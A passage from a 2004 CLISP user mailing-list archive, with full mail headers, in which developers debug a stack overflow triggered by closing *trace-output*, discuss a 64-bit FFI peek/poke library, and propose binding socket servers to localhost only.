interpret_bytecode_ + 3916 24831 0805D5BB in funcall_closure + 427 24832 0805EC67 in interpret_bytecode_ + 4567 24833 0805D5BB in funcall_closure + 427 24834 080CD5DB in driver + 75 24835 0805336C in main + 3948 #24836 0x4009f857 in round_and_return () from /lib/libc.so.6 -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sds@gnu.org Sun Dec 12 08:13:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdWM6-0006on-MD for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 08:13:54 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdWM6-0005tS-2E for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 08:13:54 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CdWLu-0000Xy-00; Sun, 12 Dec 2004 11:13:42 -0500 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16827.49925.373794.851211@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 12 Dec 2004 05:03:17 +0100") References: <20041212004409.C11684F8A@thalassa.informatimago.com> <16827.49925.373794.851211@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Lisp stack overflow; RESET / a backtrace Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 12 08:14:08 2004 X-Original-Date: Sun, 12 Dec 2004 11:13:41 -0500 > * Pascal J.Bourguignon [2004-12-12 05:03:17 +0100]: > > Pascal J.Bourguignon writes: >> >> I have been working for two weeks with 64-bit integers (ie. bignums), >> and suddenly, nothing works any more: I only get: >> *** - Lisp stack overflow. RESET > > Any advice on how to debug lisp.run with gdb? $ ./configure --with-debug --build build-g $ cd build-g $ gdb lisp.run (gdb) base -- Sam Steingold (http://www.podval.org/~sds) running w2k Please wait, MS Windows are preparing the blue screen of death. From pjb@informatimago.com Sun Dec 12 09:46:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdXnJ-0005az-18 for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 09:46:05 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdXnH-0004ax-P3 for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 09:46:04 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 739E4586E3; Sun, 12 Dec 2004 18:45:54 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id BE7294F9C; Sun, 12 Dec 2004 18:45:53 +0100 (CET) Message-ID: <16828.33745.634399.919711@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20041212004409.C11684F8A@thalassa.informatimago.com> <16827.49925.373794.851211@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Lisp stack overflow; RESET / closing *trace-output* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 12 09:47:00 2004 X-Original-Date: Sun, 12 Dec 2004 18:45:53 +0100 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-12-12 05:03:17 +0100]: > > > > Pascal J.Bourguignon writes: > >> > >> I have been working for two weeks with 64-bit integers (ie. bignums), > >> and suddenly, nothing works any more: I only get: > >> *** - Lisp stack overflow. RESET > > > > Any advice on how to debug lisp.run with gdb? > > $ ./configure --with-debug --build build-g > $ cd build-g > $ gdb lisp.run > (gdb) base Thanks. A more minimum sexp leading to this Lisp stack overflow is: [pjb@thalassa src]$ /usr/local/bin/clisp -a -norc CLISP: -a is deprecated, use -ansi i . . i i I i i i i ooooo o ooooooo ooooo ooooo I I I I I I I I I 8 8 8 8 8 o 8 8 I I \ `+' / I I 8 8 8 8 8 8 I \ `-+-' / I 8 8 8 ooooo 8oooo \ `-__|__-' / 8 8 8 8 8 `--___|___--' 8 o 8 8 o 8 8 | ooooo 8oooooo ooo8ooo ooooo 8 --------+-------- Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 [1]> (with-open-stream (*standard-output* *trace-output*) (print :toto)) :TOTO *** - Lisp stack overflow. RESET *** - Lisp stack overflow. RESET [3]> (quit) Bye. *** - The value of *ERROR-OUTPUT* was not an appropriate stream: #. It has been changed to #. *** - The value of *DEBUG-IO* was not an appropriate stream: #. It has been changed to #. Break 2 [5]> (quit) [pjb@thalassa src]$ Ok, WITH-OPEN-STREAM closes the stream (ie. *TRACE-OUTPUT*). Should clisp loop when *TRACE-OUTPUT*/*ERROR-OUTPUT*/*DEBUG-IO* is closed? [1]> (close *trace-output*) *** - Lisp stack overflow. RESET *** - Lisp stack overflow. RESET [3]> -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sds@gnu.org Sun Dec 12 11:59:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdZsQ-0007r0-S5 for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 11:59:30 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdZsQ-0007Vx-AS for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 11:59:30 -0800 Received: from 65-78-14-157.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.14.157] helo=WINSTEINGOLDLAP) by smtp04.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1CdZsH-0000ij-00; Sun, 12 Dec 2004 14:59:21 -0500 To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16828.33745.634399.919711@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Sun, 12 Dec 2004 18:45:53 +0100") References: <20041212004409.C11684F8A@thalassa.informatimago.com> <16827.49925.373794.851211@thalassa.informatimago.com> <16828.33745.634399.919711@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Lisp stack overflow; RESET / closing *trace-output* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 12 12:00:07 2004 X-Original-Date: Sun, 12 Dec 2004 14:59:20 -0500 > * Pascal J.Bourguignon [2004-12-12 18:45:53 +0100]: > > CLISP: -a is deprecated, use -ansi this will not work in the next release anymore. > [1]> (close *trace-output*) > > *** - Lisp stack overflow. RESET > *** - Lisp stack overflow. RESET wow! -- Sam Steingold (http://www.podval.org/~sds) running w2k Politically Correct Chess: Translucent VS. Transparent. From sae@sdf.lonestar.org Sun Dec 12 13:47:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdbYT-0007uM-Eu for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 13:47:01 -0800 Received: from mx.freeshell.org ([192.94.73.21] helo=sdf.lonestar.org ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdbYS-0007MZ-Es for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 13:47:01 -0800 Received: from sdf.lonestar.org (IDENT:sae@otaku.freeshell.org [192.94.73.2]) by sdf.lonestar.org (8.12.10/8.12.10) with ESMTP id iBCLknAG012681; Sun, 12 Dec 2004 21:46:49 GMT Received: (from sae@localhost) by sdf.lonestar.org (8.12.10/8.12.8/Submit) id iBCLkmGA009215; Sun, 12 Dec 2004 21:46:48 GMT From: LiteStar X-X-Sender: sae@otaku.freeshell.org To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 64-bit FFI In-Reply-To: <16827.48232.806084.590670@thalassa.informatimago.com> Message-ID: References: <20041211233152.7B06E4F9D@thalassa.informatimago.com> <16827.48232.806084.590670@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 12 13:48:01 2004 X-Original-Date: Sun, 12 Dec 2004 21:46:48 +0000 (UTC) Ahh, in my tired state I misread this. Sorry. On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote: > Date: Sun, 12 Dec 2004 04:35:04 +0100 > From: Pascal J.Bourguignon > To: LiteStar > Cc: Pascal J.Bourguignon , > clisp-list@lists.sourceforge.net > Subject: Re: [clisp-list] 64-bit FFI > > > LiteStar writes: >> Which arch is this built for? CLISP would not build correctly on >> UltraSPARCII and acted funky on Alpha (both running NetBSD). >> On Sun, 12 Dec 2004, Pascal J.Bourguignon wrote: > > On a 32-bit Athlon. > > CL-USER> (lisp-implementation-type) > "CLISP" > CL-USER> (lisp-implementation-version) > "2.33.2 (2004-06-02) (built 3301657794) (memory 3301658327)" > CL-USER> (machine-type) > "I686" > CL-USER> (machine-version) > "I686" > CL-USER> (software-type) > "ANSI C program" > CL-USER> (software-version) > "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" > CL-USER> > >>> Date: Sun, 12 Dec 2004 00:31:52 +0100 (CET) >>> From: Pascal J.Bourguignon >>> To: clisp-list@lists.sourceforge.net >>> Subject: [clisp-list] 64-bit FFI >>> >>> >>> It seems that 64-bit FFI doesn't work. >>> >>> I've got a simple peek-and-poke library: >>> >>> >>> unsigned char peek8 (unsigned char* address){return(*address);} >>> unsigned short peek16(unsigned short* address){return(*address);} >>> unsigned long peek32(unsigned long* address){return(*address);} >>> unsigned long long peek64(unsigned long long* address){return(*address);} >>> void poke8(unsigned char* address,unsigned char value){(*address)=value;} >>> void poke16(unsigned short* address,unsigned short value){(*address)=value;} >>> void poke32(unsigned long* address,unsigned long value){(*address)=value;} >>> void poke64(unsigned long long* address, >>> unsigned long long value){(*address)=value;} >>> >>> The code generated is ok, the C compiler push and fetches the 64-bit >>> arguments on the stack, but it doesn't work with these FFI declarations: >>> >>> >>> (defmacro generate-peek-and-poke () >>> (loop with code = '() >>> for size in '(8 16 32 64) ;; peek and poke of 64-bit don't work. >>> for c-peek-name = (format nil "peek~D" size) >>> for c-poke-name = (format nil "poke~D" size) do >>> (loop for type in '(uint sint) >>> for l-peek-name = (intern (with-standard-io-syntax >>> (format nil"PEEK-~A~D" type size)) >>> "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") >>> for l-poke-name = (intern (with-standard-io-syntax >>> (format nil"POKE-~A~D" type size)) >>> "COM.INFORMATIMAGO.CLISP.RAW-MEMORY") >>> for l-type = (intern (with-standard-io-syntax >>> (format nil"~A~D" type size)) >>> "FFI") >>> do >>> (push `(ffi:def-call-out ,l-peek-name >>> (:name ,c-peek-name) >>> (:arguments (address ffi:ulong)) >>> (:return-type ,l-type) >>> (:library #.+library+) (:language :stdc)) code) >>> (push `(ffi:def-call-out ,l-poke-name >>> (:name ,c-poke-name) >>> (:arguments (address ffi:ulong) (value ,l-type)) >>> (:return-type nil) >>> (:library #.+library+) (:language :stdc)) code)) >>> finally (return `(progn ,@ code)))) >>> >>> >>> >>> (eval-when (:load-toplevel :execute) >>> (generate-peek-and-poke)) > > -- > __Pascal Bourguignon__ http://www.informatimago.com/ > The world will now reboot; don't bother saving your artefacts. > > ------------------------------------------------------- << God is a commedian playing to an audiance too afraid to laugh >> -- Voltair << Are you one who looks on? Or one who lends a hand? Or one who looks away and walks off? Third Question of conscience. >> -- Nietzsche webspace: Super DImensional Fortress - http://sae.freeshell.org Dowling Computer Club - http://alien.dowling.edu/~litestar/ sae@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org Dowling College Computer Club - http://alien.dowling.edu From lisp-clisp-list@m.gmane.org Sun Dec 12 22:08:08 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdjNQ-0006Qq-EN for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 22:08:08 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CdjNP-0003WM-Q0 for clisp-list@lists.sourceforge.net; Sun, 12 Dec 2004 22:08:08 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CdjNM-00046i-00 for ; Mon, 13 Dec 2004 07:08:04 +0100 Received: from ip202-36-23-206.ip.splice.net.nz ([202.36.23.206]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Dec 2004 07:08:04 +0100 Received: from lists by ip202-36-23-206.ip.splice.net.nz with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Dec 2004 07:08:04 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Adam Warner Lines: 21 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ip202-36-23-206.ip.splice.net.nz User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table (Debian GNU/Linux)) X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 12 22:09:04 2004 X-Original-Date: Mon, 13 Dec 2004 19:07:58 +1300 Hi all, Am I misreading the implementation notes or is there no way to bind a server socket solely to localhost (so the server is only accessible to clients running on the local computer?) (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket]) This function creates a socket an binds a port to the socket. The server exists to watch for client connect attempts. The optional argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM (from whose peer the connections will be made). I suggest the interface should be: (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) Where a [host] of NIL binds to all network interfaces (thus being backwards compatible) and a supplied [host] only binds to the designated network interface (usually localhost/127.0.0.1 or the hostname). Regards, Adam From bruno@clisp.org Mon Dec 13 04:42:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdpX5-0003PB-Gj for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 04:42:31 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CdpX4-0001Xu-PD for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 04:42:31 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBDCgIHf028530; Mon, 13 Dec 2004 13:42:18 +0100 (MET) Received: from skymaple.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBDCgCTq010824; Mon, 13 Dec 2004 13:42:12 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id D7752377B6; Mon, 13 Dec 2004 12:40:57 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , User-Agent: KMail/1.5 References: <20041212004409.C11684F8A@thalassa.informatimago.com> <16828.33745.634399.919711@thalassa.informatimago.com> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412131340.56689.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Lisp stack overflow; RESET / closing *trace-output* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 04:43:05 2004 X-Original-Date: Mon, 13 Dec 2004 13:40:56 +0100 Sam wrote: > > [1]> (close *trace-output*) > > > > *** - Lisp stack overflow. RESET > > *** - Lisp stack overflow. RESET > > wow! Yes, I find it impressing that after closing *standard-output*, *debug-io* and *trace-output* at the same time (because they are all the same stream), clisp gets back on its feet again. This is better than, for example, ACL 6.2. Try it! :-) Bruno ============ /usr/local/bin/acl62 ========== #!/bin/sh exec telnet prompt.franz.com ============================================ From sds@gnu.org Mon Dec 13 06:59:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CdrfE-0006rx-2a for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 06:59:04 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cdrf3-0001qr-QD for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 06:59:03 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBDEvm7r019134; Mon, 13 Dec 2004 09:57:49 -0500 (EST) To: clisp-list@lists.sourceforge.net, Adam Warner Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Adam Warner's message of "Mon, 13 Dec 2004 19:07:58 +1300") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Adam Warner Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Socket server bound solely to localhost? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 07:00:02 2004 X-Original-Date: Mon, 13 Dec 2004 09:57:48 -0500 > * Adam Warner [2004-12-13 19:07:58 +1300]: > > Am I misreading the implementation notes or is there no way to bind a > server socket solely to localhost (so the server is only accessible to > clients running on the local computer?) > > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket]) > This function creates a socket an binds a port to the socket. The > server exists to watch for client connect attempts. The optional > argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM > (from whose peer the connections will be made). I think you will get what you want if you call SOCKET-SERVER on a socket connected to localhost. > I suggest the interface should be: > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host]) > > Where a [host] of NIL binds to all network interfaces (thus being > backwards compatible) and a supplied [host] only binds to the designated > network interface (usually localhost/127.0.0.1 or the hostname). -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: its not just for geniuses anymore. From sds@gnu.org Mon Dec 13 06:59:52 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cdrg0-0006tb-IK for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 06:59:52 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cdrfz-0001yg-Rv for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 06:59:52 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iBDExQ7r019936; Mon, 13 Dec 2004 09:59:26 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200412131340.56689.bruno@clisp.org> (Bruno Haible's message of "Mon, 13 Dec 2004 13:40:56 +0100") References: <20041212004409.C11684F8A@thalassa.informatimago.com> <16828.33745.634399.919711@thalassa.informatimago.com> <200412131340.56689.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] 0.0 AWL AWL: Auto-whitelist adjustment Subject: [clisp-list] Re: Lisp stack overflow; RESET / closing *trace-output* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 07:00:10 2004 X-Original-Date: Mon, 13 Dec 2004 09:59:25 -0500 > * Bruno Haible [2004-12-13 13:40:56 +0100]: > > Sam wrote: >> > [1]> (close *trace-output*) >> > >> > *** - Lisp stack overflow. RESET >> > *** - Lisp stack overflow. RESET >> >> wow! > > Yes, I find it impressing that after closing *standard-output*, > *debug-io* and *trace-output* at the same time (because they are all > the same stream), clisp gets back on its feet again. I wonder if CLISP would behave even better if we make all these streams different... > This is better than, for example, ACL 6.2. Try it! :-) I did not realize that ACL was such a crap WRT "user stupidity handling". -- Sam Steingold (http://www.podval.org/~sds) running w2k I'm out of my mind, but feel free to leave a message... From bruno@clisp.org Mon Dec 13 07:06:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cdrmp-0007cn-RS for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 07:06:55 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cdrmo-0007Je-8d for clisp-list@lists.sourceforge.net; Mon, 13 Dec 2004 07:06:55 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id iBDF6jls004865; Mon, 13 Dec 2004 16:06:45 +0100 (MET) Received: from skymaple.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id iBDF6dlb019303; Mon, 13 Dec 2004 16:06:39 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by skymaple.ilog.fr (Postfix) with ESMTP id 37B03377B6; Mon, 13 Dec 2004 15:05:24 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <20041212004409.C11684F8A@thalassa.informatimago.com> <200412131340.56689.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200412131605.23052.bruno@clisp.org> X-Spam-Score: -4.9 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.9 BAYES_00 BODY: Bayesian spam probability is 0 to 1% [score: 0.0000] Subject: [clisp-list] Re: Lisp stack overflow; RESET / closing *trace-output* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 13 07:07:04 2004 X-Original-Date: Mon, 13 Dec 2004 16:05:23 +0100 Sam wrote: > I wonder if CLISP would behave 